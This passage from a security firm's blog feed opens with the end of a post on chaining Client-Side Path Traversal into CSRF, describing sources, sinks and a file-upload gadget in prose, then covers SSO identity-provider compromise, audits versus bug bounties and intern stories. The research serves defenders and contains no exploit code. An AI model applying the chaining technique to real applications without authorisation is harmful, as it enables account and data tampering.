&lt;p&gt;This research evolved from exploiting multiple Client-Side Path Traversal vulnerabilities during our web security engagements. However, we realized there was a lack of documentation and knowledge to understand the limits and potential impacts of using Client-Side Path Traversal to perform CSRF (CSPT2CSRF).&lt;/p&gt;

&lt;h2 id=&quot;source&quot;&gt;Source&lt;/h2&gt;

&lt;p&gt;While working on this research, we figured out that one common bias exists. Researchers may think that user input has to be in the front end. However, like with XSS, any user input can lead to CSPT (think DOM, Reflected, Stored):&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;URL fragment&lt;/li&gt;
  &lt;li&gt;URL Query&lt;/li&gt;
  &lt;li&gt;Path parameters&lt;/li&gt;
  &lt;li&gt;Data injected in the database&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When evaluating a source, you should also consider if any action is needed to trigger the vulnerability or if it’s triggered when the page is loaded. Indeed, this complexity will impact the final severity of the vulnerability.&lt;/p&gt;

&lt;h2 id=&quot;sink&quot;&gt;Sink&lt;/h2&gt;

&lt;p&gt;The CSPT will reroute a legitimate API request. Therefore, the attacker may not have control over the HTTP method, headers and body request.&lt;/p&gt;

&lt;p&gt;All these restrictions are tied to a source. Indeed, the same front end may have different sources that perform different actions (e.g., GET/POST/PATCH/PUT/DELETE).&lt;/p&gt;

&lt;p&gt;Each CSPT2CSRF needs to be described (source and sink) to identify the complexity and severity of the vulnerability.&lt;/p&gt;

&lt;p&gt;As an attacker, we want to find all impactful sinks that share the same restrictions. This can be done with:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;API documentation&lt;/li&gt;
  &lt;li&gt;Source code review&lt;/li&gt;
  &lt;li&gt;Semgrep rules&lt;/li&gt;
  &lt;li&gt;Burp Suite Bambda filter&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt2csrf-bambda.png&quot; alt=&quot;CSPT2CSRF bambda&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h2 id=&quot;cspt2csrf-with-a-get-sink&quot;&gt;CSPT2CSRF with a GET Sink&lt;/h2&gt;

&lt;p&gt;Some scenarios of exploiting CSPT with a GET sink exist:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Using an open redirect to leak sensitive data associated with the source&lt;/li&gt;
  &lt;li&gt;Using an open redirect to load malicious data in order to trigger an XSS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, open redirects are now hunted by many security researchers, and finding an XSS in a front end using a modern framework may be hard.&lt;/p&gt;

&lt;p&gt;That said, during our research, even when stage-changing actions weren’t implemented directly with a GET sink, we were frequently able to exploit them via CSPT2CSRFs, without having the two previous prerequisites.&lt;/p&gt;

&lt;p&gt;In fact it is often possible to chain a CSPT2CSRF having a GET sink with another state-changing CSPT2CSRF.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt2csrf-getsink2.png&quot; alt=&quot;CSPT2CSRF get sink&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;1st primitive: GET CSPT2CSRF:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Source: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; param in the query&lt;/li&gt;
  &lt;li&gt;Sink: GET request on the API&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;2nd primitive: POST CSPT2CSRF:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Source: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; from the JSON data&lt;/li&gt;
  &lt;li&gt;Sink: POST request on the API&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To chain these primitives, a GET sink gadget must be found, and the attacker must control the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; of the returned JSON. Sometimes, it may be directly authorized by the back end, but the most common gadget we found was to abuse file upload/download features. Indeed, many applications exposed file upload features in the API. An attacker can upload JSON with a manipulated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; and target this content to trigger the CSPT2CSRF with a state-changing action.&lt;/p&gt;

&lt;p&gt;In the &lt;a href=&quot;https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf&quot;&gt;whitepaper&lt;/a&gt;, we explain this scenario with an example in Mattermost.&lt;/p&gt;

&lt;h1 id=&quot;sharing-with-the-community&quot;&gt;Sharing with the Community&lt;/h1&gt;

&lt;p&gt;This research was presented last week by Maxence Schmitt (&lt;a href=&quot;https://x.com/maxenceschmitt&quot;&gt;@maxenceschmitt&lt;/a&gt;) at OWASP Global Appsec Lisbon 2024. The slides can be found &lt;a href=&quot;https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This blog post is just a glimpse of our extensive research. For a comprehensive understanding and detailed technical insights, please refer to the &lt;a href=&quot;https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf&quot;&gt;whitepaper&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Along with this whitepaper, we are releasing a &lt;a href=&quot;https://github.com/doyensec/CSPTBurpExtension&quot;&gt;BURP extension&lt;/a&gt; to find Client-Side Path Traversals.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cspt2csrf-burp.png&quot; alt=&quot;CSPTBurpExtension&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h1 id=&quot;in-conclusion&quot;&gt;In Conclusion&lt;/h1&gt;
&lt;p&gt;We feel CSPT2CSRF is overlooked by many security researchers and unknown by most front-end developers. We hope this work will highlight this class of vulnerabilities and help both security researchers and defenders to secure modern applications.&lt;/p&gt;

&lt;h1 id=&quot;more-information&quot;&gt;More information&lt;/h1&gt;

&lt;p&gt;If you would like to learn more about our other research, check out our &lt;a href=&quot;https://blog.doyensec.com&quot;&gt;blog&lt;/a&gt;, follow us on X (&lt;a href=&quot;https://x.com/Doyensec&quot;&gt;@doyensec&lt;/a&gt;) or feel free to contact us at &lt;a href=&quot;mailto:info@doyensec.com&quot;&gt;info@doyensec.com&lt;/a&gt; for more information on how we can help your organization “Build with Security”.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Single Sign-On Or Single Point of Failure?</title>
   <link href="https://blog.doyensec.com/2024/06/20/compromised-idp.html"/>
   <updated>2024-06-20T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2024/06/20/compromised-idp</id>
   <content type="html">&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/research.png&quot; alt=&quot;Doyensec Research&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;No one can argue with the convenience that single sign-on (SSO) brings to users or the security and efficiency gains organizations reap from the lower administrative overhead. Gone are the days of individually managing multiple user accounts across numerous services. That said, have we just put all our eggs in one proverbial basket with regards to our SSO implementations? The results of our latest research remind us of why the saying cautions against doing this.&lt;/p&gt;

&lt;h1 id=&quot;threat-modeling-an-idp-compromise&quot;&gt;Threat modeling an IdP compromise&lt;/h1&gt;

&lt;p&gt;To help organizations assess their exposure in the event of an IdP compromise, we’re publishing a &lt;a href=&quot;https://www.doyensec.com/resources/Doyensec_Whitepaper_Teleport_PracticalAnalysisHardeningAgainstCompromisedIdP.pdf&quot;&gt;whitepaper&lt;/a&gt; that walks through these potential impacts. It examines how they differ depending on the privileges involved with the compromise. This includes the surprising impacts that even an unprivileged IdP account can have, all the way up to the complete disaster caused by a fully compromised IdP.&lt;/p&gt;

&lt;p&gt;As part of our continuing collaboration with &lt;a href=&quot;https://goteleport.com/&quot;&gt;Teleport&lt;/a&gt;, our Francesco Lacerenza (&lt;a href=&quot;https://x.com/lacerenza_fra&quot;&gt;@lacerenza_fra&lt;/a&gt;) explored these scenarios and how they apply to it specifically. If you’re not familiar with it, &lt;i&gt;“The Teleport Access Platform is a suite of software and managed services that delivers on-demand, least-privileged access to infrastructure on a foundation of cryptographic identity and Zero Trust…”&lt;/i&gt;, thereby integrating robust authentication and authorization throughout an infrastructure.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/Doyensec_Teleport.png&quot; alt=&quot;Doyensec and Teleport&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h1 id=&quot;defense-and-detection&quot;&gt;Defense and Detection&lt;/h1&gt;

&lt;p&gt;As our motto is “Build with Security”, we help organizations build more secure environments, so we won’t leave you hanging with nightmares about what can go wrong with your SSO implementation. As part of this philosophy, the research behind our whitepaper included creating a number of Teleport hardening recommendations to protect your organization and limit potential impacts, in even the worst of scenarios. We also provide detailed information on what to look for in logs when attempting to detect various types of attacks. For those seeking the TL;DR, we are also publishing a convenient hardening checklist, which covers our recommendations and can be used to quickly communicate them to your busy teams.&lt;/p&gt;

&lt;h1 id=&quot;more-information&quot;&gt;More Information&lt;/h1&gt;

&lt;p&gt;Be sure to download the whitepaper (&lt;a href=&quot;https://www.doyensec.com/resources/Doyensec_Whitepaper_Teleport_PracticalAnalysisHardeningAgainstCompromisedIdP.pdf&quot;&gt;here&lt;/a&gt;) and our checklist (&lt;a href=&quot;https://www.doyensec.com/resources/Doyensec_Teleport_Hardening_Checklist.pdf&quot;&gt;here&lt;/a&gt;) today! If you would like to learn more about our other research, check out our &lt;a href=&quot;https://blog.doyensec.com&quot;&gt;blog&lt;/a&gt;, follow us on X (&lt;a href=&quot;https://x.com/Doyensec&quot;&gt;@doyensec&lt;/a&gt;) or feel free to contact us at &lt;a href=&quot;mailto:info@doyensec.com&quot;&gt;info@doyensec.com&lt;/a&gt; for more information on how we can help your organization “Build with Security”.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Product Security Audits vs. Bug Bounty</title>
   <link href="https://blog.doyensec.com/2024/05/02/products-security-audit-vs-bugbounty.html"/>
   <updated>2024-05-02T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2024/05/02/products-security-audit-vs-bugbounty</id>
   <content type="html">&lt;p&gt;Every so often we see people discussing whether they still need to have product security audits (commonly referred to as pentests) because they have a bug bounty program. While the answer to this seems clear to us, it nonetheless is a recurring topic of discussion, particularly in the information security corners of social media. We’ve decided to publish our thoughts on this topic to clarify it for those who might still be unsure.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/pen_v_crowd.png&quot; alt=&quot;Product security audit team versus crowd-based security&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h1 id=&quot;defining-the-approaches&quot;&gt;Defining the approaches&lt;/h1&gt;

&lt;h2 id=&quot;product-security-audit&quot;&gt;Product Security Audit&lt;/h2&gt;
&lt;p&gt;What we refer to as a product security audit is a time-bound project, where one or more engineers focus on a particular application exclusively. The testing is performed by employees of an application security firm. This work is usually scoped ahead of time and billed at flat hourly/daily rates, with the total cost known to the client prior to commencing.&lt;/p&gt;

&lt;p&gt;These can be white box (i.e., access to source code and documentation) or black box (i.e., no source code access, with or without documentation), or somewhere in the middle. There is usually a well-defined scope and often preliminary discussions on points of interest to investigate more closely than others. Frequently, there will also be a walkthrough of the application’s functionality. More often than not, the testing takes place in a predefined set of days and hours. This is typically when the client is available to respond to questions, react in the event of potential issues (e.g., a site going down) or possibly to avoid peak traffic times.&lt;/p&gt;

&lt;p&gt;Because of the trust that clients have in professional firms, they will often permit them direct access to their infrastructure and code - something that is generally never done in a bug bounty program. This empowers the testers to find bugs that are potentially very difficult to find externally and things that may be out of scope for dynamic tests, such as denial-of-service vulnerabilities. Additionally, with this approach, it’s common to discover one vulnerability, only to then quickly discover it’s a systemic issue specifically because of the access to the code. With this access, it is also much easier to identify things like vulnerable dependencies, often buried deep in the application.&lt;/p&gt;

&lt;p&gt;Once the testing is complete, the provider will usually supply a written report and may have a wrap-up call with the client. There may also be a follow-up (retest) to ensure a client’s attempts at remediation have been successful.&lt;/p&gt;

&lt;h2 id=&quot;bug-bounty-programs&quot;&gt;Bug Bounty Programs&lt;/h2&gt;
&lt;p&gt;What is most commonly referred to as a bug bounty program is typically an open-ended, ongoing effort where the testing is performed by the general public. Some companies may limit participation to a smaller group, permitting participation on whatever criteria they wish, with past performance in other programs being a commonly used factor.&lt;/p&gt;

&lt;p&gt;Most programs define a scope of things to be tested and the vulnerability types that they are interested in receiving reports on. The client typically sets the payout amounts they are offering, with escalating rewards for more impactful discoveries. The client is also free to incentivize testing on certain areas through promotions (e.g., double bounties on their new product). Most bug bounty programs are exclusively black box, with no source code or documentation provided to the participating testers.&lt;/p&gt;

&lt;p&gt;In most programs, there are no limits as to when the testing occurs. The participants determine if and when they perform testing. Because of this, any outages caused by the testing are usually treated as either normal engineering outages or potentially as security incidents. Some programs do ask their testers to identify their traffic via various means (e.g., passing a unique header) to more easily understand what they’re seeing in logs, if questions arise.&lt;/p&gt;

&lt;p&gt;The bug bounty program’s concept of reporting is commonly individual bug reports, with or without a pre-formatted submission form. It is also common for programs to request that the person submitting the report validate the fix.&lt;/p&gt;

&lt;h2 id=&quot;hybrid-approaches&quot;&gt;Hybrid Approaches&lt;/h2&gt;
&lt;p&gt;While not the focus of this post, we felt it was necessary to also acknowledge that there are hybrid approaches available. These offerings combine various aspects of both a bug bounty program and focused product security audits. We hope this post will inform the reader well enough to ensure they select the approach and mix of services that is right for their organization and fully understand what each entails.&lt;/p&gt;

&lt;h1 id=&quot;contrasting-the-approaches&quot;&gt;Contrasting the approaches&lt;/h1&gt;
&lt;p&gt;From the definitions, the two approaches seem reasonably similar, but when we go below the surface, the differences become more apparent.&lt;/p&gt;

&lt;h2 id=&quot;the-people&quot;&gt;The people&lt;/h2&gt;
&lt;p&gt;It’s not fair to paint any group with a broad brush, but there are some clear differences between who typically works in a product security audit versus a bug bounty program. Both approaches can result in great people testing an application and both could potentially result in participants lacking the professionalism and/or skill set you hoped for.&lt;/p&gt;

&lt;p&gt;When a firm is retained to perform testing for a client, the firm is staking their reputation on the client’s satisfaction. Most reputable firms will attempt to provide clients with the best people they have available, ideally considering their specific skills for the engagement. The firm assumes the responsibility to screen their employees’ technical abilities, usually through multiple rounds of testing and interviewing prior to hiring, along with ongoing supervision, training and mentoring. Clients are also often provided with summaries of the engineers’ résumés, with the option to request alternate testers, if they feel their background doesn’t match with the project. Lastly, providers are also usually required to perform criminal background checks on their staff to meet client requirements.&lt;/p&gt;

&lt;p&gt;A Bug Bounty program usually has very minimal entry requirements. Typically this just means that the participants are not from embargoed countries. Participants could be anyone from professionals looking to make extra money, security researchers, college students or even complete novices looking to build a résumé. While theoretically a client may draw more eyes to their project than in a typical audit, that’s not guaranteed and there are no assurances of their qualifications. Katie Moussouris, a well-known CEO of a bug bounty consultancy, is quoted underscoring this point, saying “&lt;a href=&quot;https://www.csoonline.com/article/569201/bug-bounty-platforms-buy-researcher-silence-violate-labor-laws-critics-say.html&quot;&gt;Their latest report shows most registered users are basically either fake or unskilled&lt;/a&gt;”. Further, per their own statistics, one of the largest platforms stated that only about one percent of their participants “&lt;a href=&quot;https://www.darkreading.com/vulnerabilities-threats/bug-bounties-continue-to-rise-but-market-has-its-own-1-problem&quot;&gt;were really doing well&lt;/a&gt;”. So, despite large potential numbers, the small percentage of productive participants will be stretched thinly across thousands of programs, at best. In reality, the top participants tend to aggregate around programs they feel are the most lucrative or interesting.&lt;/p&gt;

&lt;h2 id=&quot;the-process&quot;&gt;The process&lt;/h2&gt;
&lt;p&gt;When a client hires a quality firm to perform a product security audit, they’re effectively getting that firm’s collective body of knowledge. This typically means that their personnel have others within the company they can interact with if they encounter problems or need assistance. This also means that they likely have a proprietary methodology they adhere to, so clients should expect thorough and consistent results. Internal peer review and other quality assurance processes are also usually in place to ensure satisfactory results.&lt;/p&gt;

&lt;p&gt;Generally, there are limitations on what a client wants or is able to share externally. It is common that a firm and client sign mutual NDAs, so neither party is allowed to disclose information about the audit. Should the firm leak information, they can potentially be held legally liable.&lt;/p&gt;

&lt;p&gt;In a bug bounty program, each tester makes their own rules. They may overlap each other, creating repeated redundant tests, or they may compliment each other, giving the presumed advantage of many eyes. There is generally no way for a client to know what has or has not been tested. Clients may also find test accounts and data littered throughout the app (e.g., pop-up alerts everywhere), whereas professional testers are typically more restrained and required to not leave such remnants.&lt;/p&gt;

&lt;p&gt;Most bug bounty programs don’t require a binding NDA, even if they are considered “private”. Therefore, clients are faced with a decision as to what and how much to share with the program participants. As a practical matter, there is little recourse if a participant decides to share information with others.&lt;/p&gt;

&lt;h2 id=&quot;the-results&quot;&gt;The results&lt;/h2&gt;
&lt;p&gt;When a client hires a firm, they should expect a well-written professional report. Most firms have a proprietary reporting format, but will usually also provide a machine-readable report upon request. In most cases, clients can preview a sample report prior to hiring a firm, so they can get a very clear picture of the deliverables.&lt;/p&gt;

&lt;p&gt;Reports from professional audits are typically subjected to several rounds of quality control prior to being delivered to clients. This will typically include a technical review or validation of reported issues, in addition to language and grammar editing to ensure reports are readable and professionally constructed. Additionally, quality firms also understand the fact that the results may be reviewed by a wide audience at their clients. They will therefore invest the time and effort to construct them in such a way that an audience, with a wide range of technical knowledge, are all able to understand the results. Testers are also typically required to maintain testing logs and quality documentation of all issues (e.g., screenshots - including requests and responses). This ensures clear findings reports and reproduction steps along with all the supporting materials.&lt;/p&gt;

&lt;p&gt;Through personalized relationships with clients and potentially their source code, firms have the opportunity to understand what is important to them, which things keep them up at night and which things they aren’t concerned about. Through kickoff meetings, ongoing direct communication and wrap-up meetings, firms build trust and understanding with clients. This allows them to look at vulnerabilities of all severity levels and understand the context for the client. This could result in simply saving the client’s time or recognizing when a medium severity issue is actually a critical issue, for that client’s organization.&lt;/p&gt;

&lt;p&gt;Further, repeated testing allows a client to tangibly demonstrate their commitment to security and how quickly they remediate issues. Additionally, product security audits conducted by experienced engineers, especially those with source code access, can highlight long-term improvements and hardening measures that can be taken, which would not generally be a part of a bug bounty program’s reports.&lt;/p&gt;

&lt;p&gt;In a bug bounty program, the results are unpredictable, often seemingly driven mainly by the participants’ focus on payouts. Most companies end up inundated with effectively meaningless reports. Whether valid or not, they are often unrealistic, overhyped, known CVEs or previously known bugs, or issues the organization doesn’t actually care about. It is rare that results fully meet expectations, but not impossible. Submissions tend to cluster around things pushing (often quite imaginatively) to be considered critical or high severity, to gain the largest payouts or the low hanging fruits detected by automated scanners, usually reported by the lower rated participants looking for any type of payouts, no matter how trivial. The reality is that clients need to pay a premium to get the “good researchers” to participate, but on public programs that itself can also cause a significant uptick in “spam” reports.&lt;/p&gt;

&lt;p&gt;Bug bounty reports are typically not formatted in a consistent manner and not machine-readable for ingestion into defect tracking software. Historically, there have been numerous issues that have arisen from reports which were difficult to triage due to language issues, poor grammar or bad proof-of-concept media (e.g., unhelpful screenshots, no logs, meandering videos). To address this, some platforms have gone as far as to incentivize participants to provide clear and easily readable reports via increased payouts, or positive reviews which impact the reporters’ reputation scores.&lt;/p&gt;

&lt;h2 id=&quot;the-value&quot;&gt;The value&lt;/h2&gt;
&lt;p&gt;A professional audit is something that produces a deliverable that a client can hand to a third-party, if necessary. While there is a fixed cost for it, regardless of the results, this documented testing is often required by partner companies and for compliance reasons. Furthermore, when using a reputable firm, a client may find it easier to pass the security requirements of their partners. Lastly, should there be an incident, a client can attest to their due diligence and potentially lessen their legal liability.&lt;/p&gt;

&lt;p&gt;A bug bounty provides no assurances as to the amount of the application that is tested (i.e., the “coverage”). It neither produces an acceptable deliverable that can be offered to third parties, nor does it attest to the quality of the skills of those testing the application(s). Further, bug bounty programs don’t typically satisfy any compliance requirements with respect to testing requirements.&lt;/p&gt;

&lt;h1 id=&quot;summary&quot;&gt;Summary&lt;/h1&gt;
&lt;p&gt;In the following table, we perform a side-by-side comparison of the two approaches to make the differences clearer.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/psavsbbtbl.png&quot; alt=&quot;Product Security Audit versus Bug Bounty table&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Which approach an organization decides to take will vary based on many factors including budget, compliance requirements, partner requirements, time-sensitivity and confidentiality requirements. For most organizations, we feel the correct approach is a balanced one.&lt;/p&gt;

&lt;p&gt;Ideally, an organization should perform recurring product security audits at least quarterly and after major changes. If budgets don’t permit that frequency of testing, the typical compromise is annually, at an absolute minimum.&lt;/p&gt;

&lt;p&gt;Bug bounty programs should be used to fill the gaps between rigorous security audits, whether those audits are performed by internal teams or external partners. This is arguably the need they were designed to fill, rather than replacing recurring professional testing.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Internship Experiences at Doyensec</title>
   <link href="https://blog.doyensec.com/2024/03/22/summer-internship-2023.html"/>
   <updated>2024-03-22T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2024/03/22/summer-internship-2023</id>
   <content type="html">&lt;p&gt;The following blog post gives a voice to our 2023 interns and their experiences with us.&lt;/p&gt;

&lt;h1 id=&quot;aleandro&quot;&gt;Aleandro&lt;/h1&gt;

&lt;p&gt;During my last high school year I took part in the &lt;a href=&quot;https://cyberchallenge.it&quot;&gt;Cyberchallenge.it&lt;/a&gt; program, whose goal is to introduce young students to the world of offensive cybersecurity, via lessons and CTFs competitions. After that experience, some friends and I founded the &lt;a href=&quot;https://ctftime.org/team/83535&quot;&gt;r00tstici&lt;/a&gt; CTF team, attempting to bring some cybersecurity culture to the south of Italy. We also organized various workshops and events at the University of Salento.&lt;/p&gt;

&lt;p&gt;Once I moved from south of Italy to Pisa, to study at the university, I joined the &lt;a href=&quot;https://fibonhack.it/&quot;&gt;fibonhack&lt;/a&gt; CTF team. I then also started working as a developer and penetration tester on small projects, both inside the university and outside.&lt;/p&gt;

&lt;h3 id=&quot;getting-recruited&quot;&gt;Getting recruited&lt;/h3&gt;
&lt;p&gt;During April 2023, the Doyensec Twitter account posted a call for summer interns. Since I had been following Doyensec for months, after &lt;a href=&quot;https://www.youtube.com/watch?v=M2OwLX5jxIQ&quot;&gt;Luca’s talk at No Hat 2022&lt;/a&gt;, I submitted my application. This was both because I was bored with the university routine and because I also wanted to try a job in the research field. This was a good fit, since I was coming from an environment of development and freelance pentesting, alongside CTF competitions.&lt;/p&gt;

&lt;p&gt;The selection process I went through has already been described, in large part, by Robert in his &lt;a href=&quot;https://blog.doyensec.com/2022/08/24/intern-experience.html&quot;&gt;previous post about his internship experience&lt;/a&gt;.  Basically it consisted of:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;An interview with the Practice Manager&lt;/li&gt;
  &lt;li&gt;A technical challenge on both web and mobile topics&lt;/li&gt;
  &lt;li&gt;Finally, a technical interview with two different security engineers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The interview was about various aspects of application security. This ranged from web security to low level stuff like assembly and even CPU internals.&lt;/p&gt;

&lt;h3 id=&quot;first-weeks&quot;&gt;First weeks&lt;/h3&gt;
&lt;p&gt;The actual internship started with a couple of weeks of research, where I went through some web application frameworks in Rust. After completing that research, I then moved on to an actual pentest for a client. I remember the first week felt really different and challenging. The code base was so large and so filled with functionalities that I felt overwhelmed with things to test, ideas to try and scenarios to replicate. Despite the size and complexity, there were initially no vulnerabilities found. Impostor syndrome started to kick in.&lt;/p&gt;

&lt;p&gt;Eventually, things started to improve during the second week of that engagement. While we’re a 100% remote company, sometimes we get together to work in small teams. That week, I worked in-person with Luca. He helped me understand that sometimes software is just well-written and well-architected from a security perspective. For those situations, I needed to learn how to deal with not having immediate success, the focus required for testing and how to provide value to the client despite having low severity findings. Thankfully, we eventually found good bugs in that codebase anyway :)&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/aleandro-intern-san-marino.jpeg&quot; alt=&quot;San Marino landscape&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;research-weeks&quot;&gt;Research weeks&lt;/h3&gt;
&lt;p&gt;The main research topic of my internship experience was about developing internal tools. Although this project was not mainly about security, I enjoyed it a lot. Developing applications, fixing bugs and screaming about non-existent documentation is something I’ve done ever since I bought my first personal computer.&lt;/p&gt;

&lt;h3 id=&quot;responsibilities&quot;&gt;Responsibilities&lt;/h3&gt;
&lt;p&gt;It is important to note that even though you are the last one who has joined the company and have limited experience, all Doyensec team members treat you like all other employees. You could be in charge of actually talking with the client if you have any issues during an assessment, you will have to write and possibly peer review the reports, you will have to evaluate and assign severities to the vulnerabilities you’ve found, you will have your name on the report, and so on. Of course, you are assigned to work alongside more experienced engineers that will guide you through the process (&lt;a href=&quot;https://twitter.com/lorenzostella&quot;&gt;Lorenzo&lt;/a&gt; in my case - who I would like to thank for helping me in managing the flexible schedule and for all the other advice he gave me). However, you learn the most by actually doing and making your own decisions on how to proceed and of course making errors.&lt;/p&gt;

&lt;p&gt;To me this was a mind blowing feeling, I did not expect to be completely part of the team, and that my opinions would have mattered. It was really a good approach, in my opinion. It took me a while to fit entirely in the role, but then it was fun all along the way.&lt;/p&gt;

&lt;h1 id=&quot;leonardo&quot;&gt;Leonardo&lt;/h1&gt;

&lt;p&gt;Hi, my name is Leonardo, some of you may better know me as &lt;em&gt;maitai&lt;/em&gt;, which is the handle that I’ve been using in the CTF scene from the start of my journey. I encountered cybersecurity during my journey while earning my Bachelor of Science in computer science. From the very first moment I was amazed by it. So I decided to dig a bit more into hacking, starting with the &lt;a href=&quot;https://portswigger.net/web-security&quot;&gt;PortSwigger Academy&lt;/a&gt;, which literally changed my life.&lt;/p&gt;

&lt;h3 id=&quot;getting-recruited-1&quot;&gt;Getting recruited&lt;/h3&gt;

&lt;p&gt;If you have read the previous part of this blog post you have already met Aleandro. I knew him prior to joining Doyensec, since we played together on the same CTF team: fibonhack. While I was pursuing my previous internship, Aleandro and I talked a lot regarding our jobs and what to do in the near future. One day he told me that Doyensec would have an open internship position during the winter. I was a bit scared at first, just because it would be a really huge step for me to take on such a challenge.  My previous internship had already ended when Doyensec opened the position. Although I was considering pursuing a master’s degree, I was still thinking about this opportunity all the time. I didn’t want to miss such a great opportunity, so I decided to submit my application. After all, what did I have to lose? I took it as a way to really challenge myself.&lt;/p&gt;

&lt;p&gt;After a quick interview with the Practice Manager, I was made aware of the next steps in the interview process. First of all, the technical challenges used during the process were brand new. The Practice Manager told me that Doyensec had entirely renewed the challenges with a brand new platform and new challenges. I was essentially the first candidate to ever use this new platform.&lt;/p&gt;

&lt;p&gt;The topics of the challenges were mostly web applications in several different languages, with different bugs to spot, alongside mobile challenges that involved the use of state-of-art technologies. I had 2 hours to complete as many challenges as I could, from a pool of 8. The time constraint was right in my opinion. You have around 15 minutes per challenge, which is a reasonable amount of time. Even though I wasn’t experienced with mobile hacking, I pushed myself to the limit in order to find as many bugs as possible and eventually to pass onto the next steps of the interview process. It was later explained to me that the review of numerous (but short) code snapshots in a limited time-frame is meant to simulate the complexity of reviewing larger codebases with several weeks at your disposal.&lt;/p&gt;

&lt;p&gt;A couple of days after the technical challenges I received an email from Doyensec in which they congratulated me for passing the technical challenges. I was thrilled at that point! I literally couldn’t wait for what would come after that! The email stated that the next step was a technical call with Luca. I reserved a spot on his calendar and waited for the day of the interview.&lt;/p&gt;

&lt;p&gt;Luca asked me several questions, ranging from threat modeling to how to exploit certain vulnerabilities, to how to patch vulnerable code. It was a 360 degree interview. It also included some live code review. The interview lasted for an hour or so, and in the end Luca said that he will evaluate my performance and he will let me know.
The day after, another email arrived. I had advanced to the final step, the interview with John, Doyensec’s other co-founder. During this interview, he asked me about different things, not strictly related to the application security world. As I said before, they examined me from many angles. The meeting with John also lasted for an hour.
At this point, I had completed the whole process. I only needed to wait for their response, which didn’t take too long to come.&lt;/p&gt;

&lt;p&gt;They offered me the internship position. I did it! I was happy to have overcome the challenge that I set for myself. I quickly accepted the position in order to jump straight into the action!&lt;/p&gt;

&lt;h3 id=&quot;first-weeks-1&quot;&gt;First weeks&lt;/h3&gt;

&lt;p&gt;In my first weeks, I did a lot of different things including retesting web and network level bugs, in order to be sure that all the vulnerabilities previously found by other engineers were properly fixed. I also did standard web application penetration testing. The application itself was really interesting and complex enough to keep my eyes glued to the screen, without losing interest in it. Another amazing engineer was assigned to the aforementioned project with me, so I was not alone during testing.&lt;/p&gt;

&lt;p&gt;Since Doyensec is a fully remote company, we also need to hold some meetings during the day, in order to synchronize on different things that can happen during the penetration test. Communication is a key part of Doyensec, and from great communication comes great bugs.&lt;/p&gt;

&lt;h3 id=&quot;research-weeks-1&quot;&gt;Research weeks&lt;/h3&gt;

